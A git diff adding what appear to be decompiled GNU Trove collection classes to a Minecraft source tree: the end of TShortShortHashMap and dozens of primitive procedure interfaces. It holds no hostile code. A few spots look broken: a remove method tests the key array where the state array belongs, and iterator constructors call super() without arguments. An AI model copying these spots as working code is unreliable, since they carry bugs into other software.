+      if (!(other instanceof TShortSet)) {
+        return false;
+      }
+      TShortSet that = (TShortSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TShortCollection
+  {
+    protected TValueView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TShortShortHashMap.TShortShortValueHashIterator(TShortShortHashMap.this, TShortShortHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return values();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      short[] values = _values;
+      short[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TShortShortKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TShortShortKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TShortShortValueHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TShortShortValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TShortShortHashIterator
+    extends THashPrimitiveIterator
+    implements TShortShortIterator
+  {
+    TShortShortHashIterator(TShortShortHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public short key()
+    {
+      return _set[_index];
+    }
+    
+    public short value()
+    {
+      return _values[_index];
+    }
+    
+    public short setValue(short val)
+    {
+      short old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TShortShortMap)) {
+      return false;
+    }
+    TShortShortMap that = (TShortShortMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    short[] values = _values;
+    byte[] states = _states;
+    short this_no_entry_value = getNoEntryValue();
+    short that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        short key = _set[i];
+        short that_value = that.get(key);
+        short this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TShortShortProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(short key, short value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeShort(_set[i]);
+        out.writeShort(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      short key = in.readShort();
+      short val = in.readShort();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/procedure/TByteByteProcedure.java b/src/minecraft/gnu/trove/procedure/TByteByteProcedure.java
new file mode 100644
index 0000000..bb464ad
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TByteByteProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TByteByteProcedure
+{
+  public abstract boolean execute(byte paramByte1, byte paramByte2);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TByteCharProcedure.java b/src/minecraft/gnu/trove/procedure/TByteCharProcedure.java
new file mode 100644
index 0000000..c0628bc
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TByteCharProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TByteCharProcedure
+{
+  public abstract boolean execute(byte paramByte, char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TByteDoubleProcedure.java b/src/minecraft/gnu/trove/procedure/TByteDoubleProcedure.java
new file mode 100644
index 0000000..c2e6437
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TByteDoubleProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TByteDoubleProcedure
+{
+  public abstract boolean execute(byte paramByte, double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TByteFloatProcedure.java b/src/minecraft/gnu/trove/procedure/TByteFloatProcedure.java
new file mode 100644
index 0000000..c9a0701
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TByteFloatProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TByteFloatProcedure
+{
+  public abstract boolean execute(byte paramByte, float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TByteIntProcedure.java b/src/minecraft/gnu/trove/procedure/TByteIntProcedure.java
new file mode 100644
index 0000000..5419b37
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TByteIntProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TByteIntProcedure
+{
+  public abstract boolean execute(byte paramByte, int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TByteLongProcedure.java b/src/minecraft/gnu/trove/procedure/TByteLongProcedure.java
new file mode 100644
index 0000000..ada80f5
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TByteLongProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TByteLongProcedure
+{
+  public abstract boolean execute(byte paramByte, long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TByteObjectProcedure.java b/src/minecraft/gnu/trove/procedure/TByteObjectProcedure.java
new file mode 100644
index 0000000..bd5d400
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TByteObjectProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TByteObjectProcedure<T>
+{
+  public abstract boolean execute(byte paramByte, T paramT);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TByteProcedure.java b/src/minecraft/gnu/trove/procedure/TByteProcedure.java
new file mode 100644
index 0000000..618bda6
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TByteProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TByteProcedure
+{
+  public abstract boolean execute(byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TByteShortProcedure.java b/src/minecraft/gnu/trove/procedure/TByteShortProcedure.java
new file mode 100644
index 0000000..e31c9b3
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TByteShortProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TByteShortProcedure
+{
+  public abstract boolean execute(byte paramByte, short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TCharByteProcedure.java b/src/minecraft/gnu/trove/procedure/TCharByteProcedure.java
new file mode 100644
index 0000000..c7a41e3
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TCharByteProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TCharByteProcedure
+{
+  public abstract boolean execute(char paramChar, byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TCharCharProcedure.java b/src/minecraft/gnu/trove/procedure/TCharCharProcedure.java
new file mode 100644
index 0000000..bd30058
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TCharCharProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TCharCharProcedure
+{
+  public abstract boolean execute(char paramChar1, char paramChar2);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TCharDoubleProcedure.java b/src/minecraft/gnu/trove/procedure/TCharDoubleProcedure.java
new file mode 100644
index 0000000..8f7dffc
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TCharDoubleProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TCharDoubleProcedure
+{
+  public abstract boolean execute(char paramChar, double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TCharFloatProcedure.java b/src/minecraft/gnu/trove/procedure/TCharFloatProcedure.java
new file mode 100644
index 0000000..9f6c1fd
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TCharFloatProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TCharFloatProcedure
+{
+  public abstract boolean execute(char paramChar, float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TCharIntProcedure.java b/src/minecraft/gnu/trove/procedure/TCharIntProcedure.java
new file mode 100644
index 0000000..a56588d
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TCharIntProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TCharIntProcedure
+{
+  public abstract boolean execute(char paramChar, int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TCharLongProcedure.java b/src/minecraft/gnu/trove/procedure/TCharLongProcedure.java
new file mode 100644
index 0000000..0c7ea18
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TCharLongProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TCharLongProcedure
+{
+  public abstract boolean execute(char paramChar, long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TCharObjectProcedure.java b/src/minecraft/gnu/trove/procedure/TCharObjectProcedure.java
new file mode 100644
index 0000000..b30b91f
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TCharObjectProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TCharObjectProcedure<T>
+{
+  public abstract boolean execute(char paramChar, T paramT);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TCharProcedure.java b/src/minecraft/gnu/trove/procedure/TCharProcedure.java
new file mode 100644
index 0000000..ec3ca4d
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TCharProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TCharProcedure
+{
+  public abstract boolean execute(char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TCharShortProcedure.java b/src/minecraft/gnu/trove/procedure/TCharShortProcedure.java
new file mode 100644
index 0000000..fb9e8c6
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TCharShortProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TCharShortProcedure
+{
+  public abstract boolean execute(char paramChar, short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TDoubleByteProcedure.java b/src/minecraft/gnu/trove/procedure/TDoubleByteProcedure.java
new file mode 100644
index 0000000..aa1da42
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TDoubleByteProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TDoubleByteProcedure
+{
+  public abstract boolean execute(double paramDouble, byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TDoubleCharProcedure.java b/src/minecraft/gnu/trove/procedure/TDoubleCharProcedure.java
new file mode 100644
index 0000000..f2888f0
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TDoubleCharProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TDoubleCharProcedure
+{
+  public abstract boolean execute(double paramDouble, char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TDoubleDoubleProcedure.java b/src/minecraft/gnu/trove/procedure/TDoubleDoubleProcedure.java
new file mode 100644
index 0000000..bf5d2b0
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TDoubleDoubleProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TDoubleDoubleProcedure
+{
+  public abstract boolean execute(double paramDouble1, double paramDouble2);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TDoubleFloatProcedure.java b/src/minecraft/gnu/trove/procedure/TDoubleFloatProcedure.java
new file mode 100644
index 0000000..78ef70c
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TDoubleFloatProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TDoubleFloatProcedure
+{
+  public abstract boolean execute(double paramDouble, float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TDoubleIntProcedure.java b/src/minecraft/gnu/trove/procedure/TDoubleIntProcedure.java
new file mode 100644
index 0000000..a522fbf
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TDoubleIntProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TDoubleIntProcedure
+{
+  public abstract boolean execute(double paramDouble, int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TDoubleLongProcedure.java b/src/minecraft/gnu/trove/procedure/TDoubleLongProcedure.java
new file mode 100644
index 0000000..52d8362
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TDoubleLongProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TDoubleLongProcedure
+{
+  public abstract boolean execute(double paramDouble, long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TDoubleObjectProcedure.java b/src/minecraft/gnu/trove/procedure/TDoubleObjectProcedure.java
new file mode 100644
index 0000000..eacfa56
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TDoubleObjectProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TDoubleObjectProcedure<T>
+{
+  public abstract boolean execute(double paramDouble, T paramT);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TDoubleProcedure.java b/src/minecraft/gnu/trove/procedure/TDoubleProcedure.java
new file mode 100644
index 0000000..ac3a669
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TDoubleProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TDoubleProcedure
+{
+  public abstract boolean execute(double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TDoubleShortProcedure.java b/src/minecraft/gnu/trove/procedure/TDoubleShortProcedure.java
new file mode 100644
index 0000000..a802d29
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TDoubleShortProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TDoubleShortProcedure
+{
+  public abstract boolean execute(double paramDouble, short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TFloatByteProcedure.java b/src/minecraft/gnu/trove/procedure/TFloatByteProcedure.java
new file mode 100644
index 0000000..3c8b558
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TFloatByteProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TFloatByteProcedure
+{
+  public abstract boolean execute(float paramFloat, byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TFloatCharProcedure.java b/src/minecraft/gnu/trove/procedure/TFloatCharProcedure.java
new file mode 100644
index 0000000..2aa90c8
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TFloatCharProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TFloatCharProcedure
+{
+  public abstract boolean execute(float paramFloat, char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TFloatDoubleProcedure.java b/src/minecraft/gnu/trove/procedure/TFloatDoubleProcedure.java
new file mode 100644
index 0000000..42e6860
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TFloatDoubleProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TFloatDoubleProcedure
+{
+  public abstract boolean execute(float paramFloat, double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TFloatFloatProcedure.java b/src/minecraft/gnu/trove/procedure/TFloatFloatProcedure.java
new file mode 100644
index 0000000..f9e14df
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TFloatFloatProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TFloatFloatProcedure
+{
+  public abstract boolean execute(float paramFloat1, float paramFloat2);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TFloatIntProcedure.java b/src/minecraft/gnu/trove/procedure/TFloatIntProcedure.java
new file mode 100644
index 0000000..68e8299
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TFloatIntProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TFloatIntProcedure
+{
+  public abstract boolean execute(float paramFloat, int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TFloatLongProcedure.java b/src/minecraft/gnu/trove/procedure/TFloatLongProcedure.java
new file mode 100644
index 0000000..cc651fe
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TFloatLongProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TFloatLongProcedure
+{
+  public abstract boolean execute(float paramFloat, long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TFloatObjectProcedure.java b/src/minecraft/gnu/trove/procedure/TFloatObjectProcedure.java
new file mode 100644
index 0000000..d61df24
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TFloatObjectProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TFloatObjectProcedure<T>
+{
+  public abstract boolean execute(float paramFloat, T paramT);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TFloatProcedure.java b/src/minecraft/gnu/trove/procedure/TFloatProcedure.java
new file mode 100644
index 0000000..160bad0
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TFloatProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TFloatProcedure
+{
+  public abstract boolean execute(float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TFloatShortProcedure.java b/src/minecraft/gnu/trove/procedure/TFloatShortProcedure.java
new file mode 100644
index 0000000..28b14a8
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TFloatShortProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TFloatShortProcedure
+{
+  public abstract boolean execute(float paramFloat, short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TIntByteProcedure.java b/src/minecraft/gnu/trove/procedure/TIntByteProcedure.java
new file mode 100644
index 0000000..b397ed4
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TIntByteProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TIntByteProcedure
+{
+  public abstract boolean execute(int paramInt, byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TIntCharProcedure.java b/src/minecraft/gnu/trove/procedure/TIntCharProcedure.java
new file mode 100644
index 0000000..7b48afe
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TIntCharProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TIntCharProcedure
+{
+  public abstract boolean execute(int paramInt, char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TIntDoubleProcedure.java b/src/minecraft/gnu/trove/procedure/TIntDoubleProcedure.java
new file mode 100644
index 0000000..ad7ba6a
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TIntDoubleProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TIntDoubleProcedure
+{
+  public abstract boolean execute(int paramInt, double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TIntFloatProcedure.java b/src/minecraft/gnu/trove/procedure/TIntFloatProcedure.java
new file mode 100644
index 0000000..cfd9f75
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TIntFloatProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TIntFloatProcedure
+{
+  public abstract boolean execute(int paramInt, float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TIntIntProcedure.java b/src/minecraft/gnu/trove/procedure/TIntIntProcedure.java
new file mode 100644
index 0000000..6ed6fc4
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TIntIntProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TIntIntProcedure
+{
+  public abstract boolean execute(int paramInt1, int paramInt2);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TIntLongProcedure.java b/src/minecraft/gnu/trove/procedure/TIntLongProcedure.java
new file mode 100644
index 0000000..f10590d
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TIntLongProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TIntLongProcedure
+{
+  public abstract boolean execute(int paramInt, long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TIntObjectProcedure.java b/src/minecraft/gnu/trove/procedure/TIntObjectProcedure.java
new file mode 100644
index 0000000..c4f1fc1
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TIntObjectProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TIntObjectProcedure<T>
+{
+  public abstract boolean execute(int paramInt, T paramT);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TIntProcedure.java b/src/minecraft/gnu/trove/procedure/TIntProcedure.java
new file mode 100644
index 0000000..56f535c
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TIntProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TIntProcedure
+{
+  public abstract boolean execute(int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TIntShortProcedure.java b/src/minecraft/gnu/trove/procedure/TIntShortProcedure.java
new file mode 100644
index 0000000..9e1642d
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TIntShortProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TIntShortProcedure
+{
+  public abstract boolean execute(int paramInt, short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TLongByteProcedure.java b/src/minecraft/gnu/trove/procedure/TLongByteProcedure.java
new file mode 100644
index 0000000..f3e420b
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TLongByteProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TLongByteProcedure
+{
+  public abstract boolean execute(long paramLong, byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TLongCharProcedure.java b/src/minecraft/gnu/trove/procedure/TLongCharProcedure.java
new file mode 100644
index 0000000..bdbf807
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TLongCharProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TLongCharProcedure
+{
+  public abstract boolean execute(long paramLong, char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TLongDoubleProcedure.java b/src/minecraft/gnu/trove/procedure/TLongDoubleProcedure.java
new file mode 100644
index 0000000..25f2133
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TLongDoubleProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TLongDoubleProcedure
+{
+  public abstract boolean execute(long paramLong, double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TLongFloatProcedure.java b/src/minecraft/gnu/trove/procedure/TLongFloatProcedure.java
new file mode 100644
index 0000000..88acb79
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TLongFloatProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TLongFloatProcedure
+{
+  public abstract boolean execute(long paramLong, float paramFloat);
+}
